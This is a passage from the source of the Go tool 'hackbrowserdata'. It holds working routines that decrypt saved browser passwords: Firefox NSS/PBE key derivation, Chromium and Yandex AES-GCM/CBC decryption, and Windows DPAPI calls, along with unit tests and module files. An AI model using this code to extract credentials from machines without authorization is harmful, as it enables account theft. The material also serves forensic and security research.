return DES3Encrypt(key, iv, plaintext)
}
// deriveKeyAndIV derives the key and initialization vector (IV)
// from the global salt and entry salt.
func (n nssPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
salt := n.AlgoAttr.SaltAttr.EntrySalt
hashPrefix := sha1.Sum(globalSalt)
compositeHash := sha1.Sum(append(hashPrefix[:], salt...))
paddedEntrySalt := paddingZero(salt, 20)
hmacProcessor := hmac.New(sha1.New, compositeHash[:])
hmacProcessor.Write(paddedEntrySalt)
paddedEntrySalt = append(paddedEntrySalt, salt...)
keyComponent1 := hmac.New(sha1.New, compositeHash[:])
keyComponent1.Write(paddedEntrySalt)
hmacWithSalt := append(hmacProcessor.Sum(nil), salt...)
keyComponent2 := hmac.New(sha1.New, compositeHash[:])
keyComponent2.Write(hmacWithSalt)
key := append(keyComponent1.Sum(nil), keyComponent2.Sum(nil)...)
iv := key[len(key)-8:]
return key[:24], iv
}
// MetaPBE Struct
//
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// SEQUENCE (2 elem)
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// SEQUENCE (4 elem)
// OCTET STRING (32 byte)
// INTEGER 1
// INTEGER 32
// SEQUENCE (1 elem)
// OBJECT IDENTIFIER
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// OCTET STRING (14 byte)
// OCTET STRING (16 byte)
type metaPBE struct {
AlgoAttr algoAttr
Encrypted []byte
}
type algoAttr struct {
asn1.ObjectIdentifier
Data struct {
Data struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}
IVData ivAttr
}
}
type ivAttr struct {
asn1.ObjectIdentifier
IV []byte
}
type slatAttr struct {
EntrySalt []byte
IterationCount int
KeySize int
Algorithm struct {
asn1.ObjectIdentifier
}
}
func (m metaPBE) Decrypt(globalSalt []byte) ([]byte, error) {
key, iv := m.deriveKeyAndIV(globalSalt)
return AES128CBCDecrypt(key, iv, m.Encrypted)
}
func (m metaPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
key, iv := m.deriveKeyAndIV(globalSalt)
return AES128CBCEncrypt(key, iv, plaintext)
}
func (m metaPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
password := sha1.Sum(globalSalt)
salt := m.AlgoAttr.Data.Data.SlatAttr.EntrySalt
iter := m.AlgoAttr.Data.Data.SlatAttr.IterationCount
keyLen := m.AlgoAttr.Data.Data.SlatAttr.KeySize
key := PBKDF2Key(password[:], salt, iter, keyLen, sha256.New)
iv := append([]byte{4, 14}, m.AlgoAttr.Data.IVData.IV...)
return key, iv
}
// loginPBE Struct
//
// OCTET STRING (16 byte)
// SEQUENCE (2 elem)
// OBJECT IDENTIFIER
// OCTET STRING (8 byte)
// OCTET STRING (16 byte)
type loginPBE struct {
CipherText []byte
Data struct {
asn1.ObjectIdentifier
IV []byte
}
Encrypted []byte
}
func (l loginPBE) Decrypt(globalSalt []byte) ([]byte, error) {
key, iv := l.deriveKeyAndIV(globalSalt)
// The encryption algorithm can be reliably inferred from IV length:
// - 8 bytes : 3DES-CBC (legacy Firefox versions)
// - 16 bytes : AES-CBC (Firefox 144+)
if len(iv) == 8 {
// Use 3DES for old Firefox versions
return DES3Decrypt(key[:24], iv, l.Encrypted)
} else if len(iv) == 16 {
// Firefox 144+ uses 32-byte keys (AES-256-CBC)
// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths
return AES128CBCDecrypt(key, iv, l.Encrypted)
}
return nil, errors.New("unsupported IV length for loginPBE decryption")
}
func (l loginPBE) Encrypt(globalSalt, plaintext []byte) ([]byte, error) {
key, iv := l.deriveKeyAndIV(globalSalt)
// The encryption algorithm can be reliably inferred from IV length:
// - 8 bytes : 3DES-CBC (legacy Firefox versions)
// - 16 bytes : AES-CBC (Firefox 144+)
// This avoids relying on NSS-specific OIDs, which have changed historically.
if len(iv) == 8 {
// Use 3DES for old Firefox versions
return DES3Encrypt(key[:24], iv, plaintext)
} else if len(iv) == 16 {
// Firefox 144+ uses 32-byte keys (AES-256-CBC)
// Note: AES128CBCDecrypt is a misnomer - it actually supports all AES key lengths
return AES128CBCEncrypt(key, iv, plaintext)
}
return nil, errors.New("unsupported IV length for loginPBE encryption")
}
func (l loginPBE) deriveKeyAndIV(globalSalt []byte) ([]byte, []byte) {
return globalSalt, l.Data.IV
}
================================================
FILE: crypto/asn1pbe_test.go
================================================
package crypto
import (
"bytes"
"encoding/asn1"
"encoding/hex"
"testing"
"github.com/stretchr/testify/assert"
)
var (
pbeIV = []byte("01234567") // 8 bytes
pbePlaintext = []byte("Hello, World!")
pbeCipherText = []byte{0xf8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1}
objWithMD5AndDESCBC = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 3}
objWithSHA256AndAES = asn1.ObjectIdentifier{2, 16, 840, 1, 101, 3, 4, 1, 46}
objWithSHA1AndAES = asn1.ObjectIdentifier{1, 2, 840, 113549, 1, 5, 13}
nssPBETestCases = []struct {
RawHexPBE string
GlobalSalt []byte
Encrypted []byte
IterationCount int
Len int
Plaintext []byte
ObjectIdentifier asn1.ObjectIdentifier
}{
{
RawHexPBE: "303e302a06092a864886f70d01050d301d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020114041095183a14c752e7b1d0aaa47f53e05097",
GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
Encrypted: []byte{0x95, 0x18, 0x3a, 0x14, 0xc7, 0x52, 0xe7, 0xb1, 0xd0, 0xaa, 0xa4, 0x7f, 0x53, 0xe0, 0x50, 0x97},
Plaintext: pbePlaintext,
IterationCount: 1,
Len: 32,
ObjectIdentifier: objWithSHA1AndAES,
},
}
metaPBETestCases = []struct {
RawHexPBE string
GlobalSalt []byte
Encrypted []byte
IV []byte
Plaintext []byte
ObjectIdentifier asn1.ObjectIdentifier
}{
{
RawHexPBE: "307a3066060960864801650304012e3059303a060960864801650304012e302d04186d6f6f6e6434726b6d6f6f6e6434726b6d6f6f6e6434726b020101020120300b060960864801650304012e301b060960864801650304012e040e303132333435363730313233343504100474679f2e6256518b7adb877beaa154",
GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
Encrypted: []byte{0x4, 0x74, 0x67, 0x9f, 0x2e, 0x62, 0x56, 0x51, 0x8b, 0x7a, 0xdb, 0x87, 0x7b, 0xea, 0xa1, 0x54},
IV: bytes.Repeat(pbeIV, 2)[:14],
Plaintext: pbePlaintext,
ObjectIdentifier: objWithSHA256AndAES,
},
}
loginPBETestCases = []struct {
RawHexPBE string
GlobalSalt []byte
Encrypted []byte
IV []byte
Plaintext []byte
ObjectIdentifier asn1.ObjectIdentifier
}{
{
RawHexPBE: "303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45303b0410f8000000000000000000000000000001301506092a864886f70d010503040830313233343536370410fe968b6565149114ea688defd6683e45",
Encrypted: []byte{0xfe, 0x96, 0x8b, 0x65, 0x65, 0x14, 0x91, 0x14, 0xea, 0x68, 0x8d, 0xef, 0xd6, 0x68, 0x3e, 0x45},
GlobalSalt: bytes.Repeat([]byte(baseKey), 3),
IV: pbeIV,
Plaintext: pbePlaintext,
ObjectIdentifier: objWithMD5AndDESCBC,
},
}
)
func TestNewASN1PBE(t *testing.T) {
for _, tc := range nssPBETestCases {
nssRaw, err := hex.DecodeString(tc.RawHexPBE)
assert.Equal(t, nil, err)
pbe, err := NewASN1PBE(nssRaw)
assert.Equal(t, nil, err)
nssPBETC, ok := pbe.(nssPBE)
assert.Equal(t, true, ok)
assert.Equal(t, nssPBETC.Encrypted, tc.Encrypted)
assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.EntrySalt, tc.GlobalSalt)
assert.Equal(t, nssPBETC.AlgoAttr.SaltAttr.Len, 20)
assert.Equal(t, nssPBETC.AlgoAttr.ObjectIdentifier, tc.ObjectIdentifier)
}
}
func TestNssPBE_Encrypt(t *testing.T) {
for _, tc := range nssPBETestCases {
nssPBETC := nssPBE{
Encrypted: tc.Encrypted,
AlgoAttr: struct {
asn1.ObjectIdentifier
SaltAttr struct {
EntrySalt []byte
Len int
}
}{
ObjectIdentifier: tc.ObjectIdentifier,
SaltAttr: struct {
EntrySalt []byte
Len int
}{
EntrySalt: tc.GlobalSalt,
Len: 20,
},
},
}
encrypted, err := nssPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, nssPBETC.Encrypted, encrypted)
}
}
func TestNssPBE_Decrypt(t *testing.T) {
for _, tc := range nssPBETestCases {
nssPBETC := nssPBE{
Encrypted: tc.Encrypted,
AlgoAttr: struct {
asn1.ObjectIdentifier
SaltAttr struct {
EntrySalt []byte
Len int
}
}{
ObjectIdentifier: tc.ObjectIdentifier,
SaltAttr: struct {
EntrySalt []byte
Len int
}{
EntrySalt: tc.GlobalSalt,
Len: 20,
},
},
}
decrypted, err := nssPBETC.Decrypt(tc.GlobalSalt)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, pbePlaintext, decrypted)
}
}
func TestNewASN1PBE_MetaPBE(t *testing.T) {
for _, tc := range metaPBETestCases {
metaRaw, err := hex.DecodeString(tc.RawHexPBE)
assert.Equal(t, nil, err)
pbe, err := NewASN1PBE(metaRaw)
assert.Equal(t, nil, err)
metaPBETC, ok := pbe.(metaPBE)
assert.Equal(t, true, ok)
assert.Equal(t, metaPBETC.Encrypted, tc.Encrypted)
assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.IV, tc.IV)
assert.Equal(t, metaPBETC.AlgoAttr.Data.IVData.ObjectIdentifier, objWithSHA256AndAES)
}
}
func TestMetaPBE_Encrypt(t *testing.T) {
for _, tc := range metaPBETestCases {
metaPBETC := metaPBE{
AlgoAttr: algoAttr{
ObjectIdentifier: tc.ObjectIdentifier,
Data: struct {
Data struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}
IVData ivAttr
}{
Data: struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}{
ObjectIdentifier: tc.ObjectIdentifier,
SlatAttr: slatAttr{
EntrySalt: tc.GlobalSalt,
IterationCount: 1,
KeySize: 32,
Algorithm: struct {
asn1.ObjectIdentifier
}{
ObjectIdentifier: tc.ObjectIdentifier,
},
},
},
IVData: ivAttr{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
},
},
Encrypted: tc.Encrypted,
}
encrypted, err := metaPBETC.Encrypt(tc.GlobalSalt, tc.Plaintext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, metaPBETC.Encrypted, encrypted)
}
}
func TestMetaPBE_Decrypt(t *testing.T) {
for _, tc := range metaPBETestCases {
metaPBETC := metaPBE{
AlgoAttr: algoAttr{
ObjectIdentifier: tc.ObjectIdentifier,
Data: struct {
Data struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}
IVData ivAttr
}{
Data: struct {
asn1.ObjectIdentifier
SlatAttr slatAttr
}{
ObjectIdentifier: tc.ObjectIdentifier,
SlatAttr: slatAttr{
EntrySalt: tc.GlobalSalt,
IterationCount: 1,
KeySize: 32,
Algorithm: struct {
asn1.ObjectIdentifier
}{
ObjectIdentifier: tc.ObjectIdentifier,
},
},
},
IVData: ivAttr{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
},
},
Encrypted: tc.Encrypted,
}
decrypted, err := metaPBETC.Decrypt(tc.GlobalSalt)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, pbePlaintext, decrypted)
}
}
func TestNewASN1PBE_LoginPBE(t *testing.T) {
for _, tc := range loginPBETestCases {
loginRaw, err := hex.DecodeString(tc.RawHexPBE)
assert.Equal(t, nil, err)
pbe, err := NewASN1PBE(loginRaw)
assert.Equal(t, nil, err)
loginPBETC, ok := pbe.(loginPBE)
assert.Equal(t, true, ok)
assert.Equal(t, loginPBETC.Encrypted, tc.Encrypted)
assert.Equal(t, loginPBETC.Data.IV, tc.IV)
assert.Equal(t, loginPBETC.Data.ObjectIdentifier, objWithMD5AndDESCBC)
}
}
func TestLoginPBE_Encrypt(t *testing.T) {
for _, tc := range loginPBETestCases {
loginPBETC := loginPBE{
CipherText: pbeCipherText,
Data: struct {
asn1.ObjectIdentifier
IV []byte
}{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
Encrypted: tc.Encrypted,
}
encrypted, err := loginPBETC.Encrypt(tc.GlobalSalt, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, loginPBETC.Encrypted, encrypted)
}
}
func TestLoginPBE_Decrypt(t *testing.T) {
for _, tc := range loginPBETestCases {
loginPBETC := loginPBE{
CipherText: pbeCipherText,
Data: struct {
asn1.ObjectIdentifier
IV []byte
}{
ObjectIdentifier: tc.ObjectIdentifier,
IV: tc.IV,
},
Encrypted: tc.Encrypted,
}
decrypted, err := loginPBETC.Decrypt(tc.GlobalSalt)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, pbePlaintext, decrypted)
}
}
================================================
FILE: crypto/crypto.go
================================================
package crypto
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/des"
"errors"
"fmt"
)
var ErrCiphertextLengthIsInvalid = errors.New("ciphertext length is invalid")
// AES128CBCDecrypt decrypts data using AES-CBC mode.
// Note: Despite the function name, this supports all AES key sizes.
// The Go standard library's aes.NewCipher automatically selects the AES variant
// based on the key length: 16 bytes (AES-128), 24 bytes (AES-192), or 32 bytes (AES-256).
// TODO: Rename to AESCBCDecrypt to avoid confusion about supported key lengths.
func AES128CBCDecrypt(key, iv, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// Check ciphertext length
if len(ciphertext) < aes.BlockSize {
return nil, errors.New("AES128CBCDecrypt: ciphertext too short")
}
if len(ciphertext)%aes.BlockSize != 0 {
return nil, errors.New("AES128CBCDecrypt: ciphertext is not a multiple of the block size")
}
decryptedData := make([]byte, len(ciphertext))
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(decryptedData, ciphertext)
// unpad the decrypted data and handle potential padding errors
decryptedData, err = pkcs5UnPadding(decryptedData)
if err != nil {
return nil, fmt.Errorf("AES128CBCDecrypt: %w", err)
}
return decryptedData, nil
}
func AES128CBCEncrypt(key, iv, plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
if len(iv) != aes.BlockSize {
return nil, errors.New("AES128CBCEncrypt: iv length is invalid, must equal block size")
}
plaintext = pkcs5Padding(plaintext, block.BlockSize())
encryptedData := make([]byte, len(plaintext))
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(encryptedData, plaintext)
return encryptedData, nil
}
func DES3Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
if len(ciphertext) < des.BlockSize {
return nil, errors.New("DES3Decrypt: ciphertext too short")
}
if len(ciphertext)%block.BlockSize() != 0 {
return nil, errors.New("DES3Decrypt: ciphertext is not a multiple of the block size")
}
blockMode := cipher.NewCBCDecrypter(block, iv)
sq := make([]byte, len(ciphertext))
blockMode.CryptBlocks(sq, ciphertext)
return pkcs5UnPadding(sq)
}
func DES3Encrypt(key, iv, plaintext []byte) ([]byte, error) {
block, err := des.NewTripleDESCipher(key)
if err != nil {
return nil, err
}
plaintext = pkcs5Padding(plaintext, block.BlockSize())
dst := make([]byte, len(plaintext))
blockMode := cipher.NewCBCEncrypter(block, iv)
blockMode.CryptBlocks(dst, plaintext)
return dst, nil
}
// AESGCMDecrypt chromium > 80 https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/sync/os_crypt_win.cc
func AESGCMDecrypt(key, nounce, ciphertext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
origData, err := blockMode.Open(nil, nounce, ciphertext, nil)
if err != nil {
return nil, err
}
return origData, nil
}
// AESGCMEncrypt encrypts plaintext using AES encryption in GCM mode.
func AESGCMEncrypt(key, nonce, plaintext []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
// The first parameter is the prefix for the output, we can leave it nil.
// The Seal method encrypts and authenticates the data, appending the result to the dst.
encryptedData := blockMode.Seal(nil, nonce, plaintext, nil)
return encryptedData, nil
}
func paddingZero(src []byte, length int) []byte {
padding := length - len(src)
if padding <= 0 {
return src
}
return append(src, make([]byte, padding)...)
}
func pkcs5UnPadding(src []byte) ([]byte, error) {
length := len(src)
if length == 0 {
return nil, errors.New("pkcs5UnPadding: src should not be empty")
}
padding := int(src[length-1])
if padding < 1 || padding > aes.BlockSize {
return nil, errors.New("pkcs5UnPadding: invalid padding size")
}
if padding > length {
return nil, errors.New("pkcs5UnPadding: invalid padding length")
}
for _, b := range src[length-padding:] {
if int(b) != padding {
return nil, errors.New("pkcs5UnPadding: invalid padding content")
}
}
return src[:length-padding], nil
}
func pkcs5Padding(src []byte, blocksize int) []byte {
padding := blocksize - (len(src) % blocksize)
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(src, padText...)
}
================================================
FILE: crypto/crypto_darwin.go
================================================
//go:build darwin
package crypto
import "errors"
var ErrDarwinNotSupportDPAPI = errors.New("darwin not support dpapi")
func DecryptWithChromium(key, password []byte) ([]byte, error) {
if len(password) <= 3 {
return nil, ErrCiphertextLengthIsInvalid
}
iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
return AES128CBCDecrypt(key, iv, password[3:])
}
func DecryptWithDPAPI(_ []byte) ([]byte, error) {
return nil, ErrDarwinNotSupportDPAPI
}
================================================
FILE: crypto/crypto_linux.go
================================================
//go:build linux
package crypto
func DecryptWithChromium(key, encryptPass []byte) ([]byte, error) {
if len(encryptPass) < 3 {
return nil, ErrCiphertextLengthIsInvalid
}
iv := []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
return AES128CBCDecrypt(key, iv, encryptPass[3:])
}
func DecryptWithDPAPI(_ []byte) ([]byte, error) {
return nil, nil
}
================================================
FILE: crypto/crypto_test.go
================================================
package crypto
import (
"bytes"
"crypto/sha1"
"encoding/hex"
"fmt"
"testing"
"github.com/stretchr/testify/assert"
)
const baseKey = "moond4rk"
var (
aesKey = bytes.Repeat([]byte(baseKey), 2) // 16 bytes
aesIV = []byte("01234567abcdef01") // 16 bytes
plainText = []byte("Hello, World!")
aes128Ciphertext = "19381468ecf824c0bfc7a89eed9777d2"
des3Key = sha1.New().Sum(aesKey)[:24]
des3IV = aesIV[:8]
des3Ciphertext = "a4492f31bc404fae18d53a46ca79282e"
aesGCMNonce = aesKey[:12]
aesGCMCiphertext = "6c49dac89992639713edab3a114c450968a08b53556872cea3919e2e9a"
)
func TestAES128CBCEncrypt(t *testing.T) {
encrypted, err := AES128CBCEncrypt(aesKey, aesIV, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, aes128Ciphertext, fmt.Sprintf("%x", encrypted))
}
func TestAES128CBCDecrypt(t *testing.T) {
ciphertext, _ := hex.DecodeString(aes128Ciphertext)
decrypted, err := AES128CBCDecrypt(aesKey, aesIV, ciphertext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, plainText, decrypted)
}
func TestDES3Encrypt(t *testing.T) {
encrypted, err := DES3Encrypt(des3Key, des3IV, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, des3Ciphertext, fmt.Sprintf("%x", encrypted))
}
func TestDES3Decrypt(t *testing.T) {
ciphertext, _ := hex.DecodeString(des3Ciphertext)
decrypted, err := DES3Decrypt(des3Key, des3IV, ciphertext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, plainText, decrypted)
}
func TestAESGCMEncrypt(t *testing.T) {
encrypted, err := AESGCMEncrypt(aesKey, aesGCMNonce, plainText)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(encrypted) > 0)
assert.Equal(t, aesGCMCiphertext, fmt.Sprintf("%x", encrypted))
}
func TestAESGCMDecrypt(t *testing.T) {
ciphertext, _ := hex.DecodeString(aesGCMCiphertext)
decrypted, err := AESGCMDecrypt(aesKey, aesGCMNonce, ciphertext)
assert.Equal(t, nil, err)
assert.Equal(t, true, len(decrypted) > 0)
assert.Equal(t, plainText, decrypted)
}
================================================
FILE: crypto/crypto_windows.go
================================================
//go:build windows
package crypto
import (
"fmt"
"syscall"
"unsafe"
)
const (
// Assuming the nonce size is 12 bytes and the minimum encrypted data size is 3 bytes
minEncryptedDataSize = 15
nonceSize = 12
)
func DecryptWithChromium(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < minEncryptedDataSize {
return nil, ErrCiphertextLengthIsInvalid
}
nonce := ciphertext[3 : 3+nonceSize]
encryptedPassword := ciphertext[3+nonceSize:]
return AESGCMDecrypt(key, nonce, encryptedPassword)
}
// DecryptWithYandex decrypts the password with AES-GCM
func DecryptWithYandex(key, ciphertext []byte) ([]byte, error) {
if len(ciphertext) < minEncryptedDataSize {
return nil, ErrCiphertextLengthIsInvalid
}
// remove Prefix 'v10'
// gcmBlockSize = 16
// gcmTagSize = 16
// gcmMinimumTagSize = 12 // NIST SP 800-38D recommends tags with 12 or more bytes.
// gcmStandardNonceSize = 12
nonce := ciphertext[3 : 3+nonceSize]
encryptedPassword := ciphertext[3+nonceSize:]
return AESGCMDecrypt(key, nonce, encryptedPassword)
}
type dataBlob struct {
cbData uint32
pbData *byte
}
func newBlob(d []byte) *dataBlob {
if len(d) == 0 {
return &dataBlob{}
}
return &dataBlob{
pbData: &d[0],
cbData: uint32(len(d)),
}
}
func (b *dataBlob) bytes() []byte {
d := make([]byte, b.cbData)
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
return d
}
// DecryptWithDPAPI (Data Protection Application Programming Interface)
// is a simple cryptographic application programming interface
// available as a built-in component in Windows 2000 and
// later versions of Microsoft Windows operating systems
func DecryptWithDPAPI(ciphertext []byte) ([]byte, error) {
crypt32 := syscall.NewLazyDLL("Crypt32.dll")
kernel32 := syscall.NewLazyDLL("Kernel32.dll")
unprotectDataProc := crypt32.NewProc("CryptUnprotectData")
localFreeProc := kernel32.NewProc("LocalFree")
var outBlob dataBlob
r, _, err := unprotectDataProc.Call(
uintptr(unsafe.Pointer(newBlob(ciphertext))),
0, 0, 0, 0, 0,
uintptr(unsafe.Pointer(&outBlob)),
)
if r == 0 {
return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err)
}
defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
return outBlob.bytes(), nil
}
================================================
FILE: crypto/pbkdf2.go
================================================
package crypto
import (
"crypto/hmac"
"hash"
)
// PBKDF2Key derives a key from the password, salt and iteration count, returning a
// []byte of length keylen that can be used as cryptographic key. The key is
// derived based on the method described as PBKDF2 with the HMAC variant using
// the supplied hash function.
//
// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
// doing:
//
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
//
// Remember to get a good random salt. At least 8 bytes is recommended by the
// RFC.
//
// Using a higher iteration count will increase the cost of an exhaustive
// search but will also make derivation proportionally slower.
// Copy from https://golang.org/x/crypto/pbkdf2
func PBKDF2Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {
prf := hmac.New(h, password)
hashLen := prf.Size()
numBlocks := (keyLen + hashLen - 1) / hashLen
var buf [4]byte
dk := make([]byte, 0, numBlocks*hashLen)
u := make([]byte, hashLen)
for block := 1; block <= numBlocks; block++ {
// N.B.: || means concatenation, ^ means XOR
// for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter
// U_1 = PRF(password, salt || uint(i))
prf.Reset()
prf.Write(salt)
buf[0] = byte(block >> 24)
buf[1] = byte(block >> 16)
buf[2] = byte(block >> 8)
buf[3] = byte(block)
prf.Write(buf[:4])
dk = prf.Sum(dk)
t := dk[len(dk)-hashLen:]
copy(u, t)
for n := 2; n <= iter; n++ {
prf.Reset()
prf.Write(u)
u = u[:0]
u = prf.Sum(u)
for x := range u {
t[x] ^= u[x]
}
}
}
return dk[:keyLen]
}
================================================
FILE: extractor/extractor.go
================================================
package extractor
// Extractor is an interface for extracting data from browser data files
type Extractor interface {
Extract(masterKey []byte) error
Name() string
Len() int
}
================================================
FILE: extractor/registration.go
================================================
package extractor
import (
"github.com/moond4rk/hackbrowserdata/types"
)
var extractorRegistry = make(map[types.DataType]func() Extractor)
// RegisterExtractor is used to register the data source
func RegisterExtractor(dataType types.DataType, factoryFunc func() Extractor) {
extractorRegistry[dataType] = factoryFunc
}
// CreateExtractor is used to create the data source
func CreateExtractor(dataType types.DataType) Extractor {
if factoryFunc, ok := extractorRegistry[dataType]; ok {
return factoryFunc()
}
return nil
}
================================================
FILE: go.mod
================================================
module github.com/moond4rk/hackbrowserdata
go 1.20
require (
github.com/DATA-DOG/go-sqlmock v1.5.2
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1
github.com/godbus/dbus/v5 v5.1.0
github.com/otiai10/copy v1.14.0
github.com/ppacher/go-dbus-keyring v1.0.1
github.com/stretchr/testify v1.9.0
github.com/syndtr/goleveldb v1.0.0
github.com/tidwall/gjson v1.18.0
github.com/urfave/cli/v2 v2.27.4
golang.org/x/text v0.19.0
modernc.org/sqlite v1.31.1
)
require (
github.com/cpuguy83/go-md2man/v2 v2.0.4 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/hashicorp/golang-lru/v2 v2.0.7 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v0.1.9 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.0 // indirect
github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect
golang.org/x/sync v0.8.0 // indirect
golang.org/x/sys v0.22.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
modernc.org/gc/v3 v3.0.0-20240107210532-573471604cb6 // indirect
modernc.org/libc v1.55.3 // indirect
modernc.org/mathutil v1.6.0 // indirect
modernc.org/memory v1.8.0 // indirect
modernc.org/strutil v1.2.0 // indirect
modernc.org/token v1.1.0 // indirect
)
================================================
FILE: go.sum
================================================
github.com/DATA-DOG/go-sqlmock v1.5.2 h1:OcvFkGmslmlZibjAjaHm3L//6LiuBgolP7OputlJIzU=
github.com/DATA-DOG/go-sqlmock v1.5.2/go.mod h1:88MAG/4G7SMwSE3CeA0ZKzrT5CiOU3OJ+JlNzwDqpNU=
github.com/cpuguy83/go-md2man/v2 v2.0.4 h1:wfIWP927BUkWJb2NmU/kNDYIBTh/ziUX91+lVfRxZq4=
github.com/cpuguy83/go-md2man/v2 v2.0.4/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ=
github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk=
github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
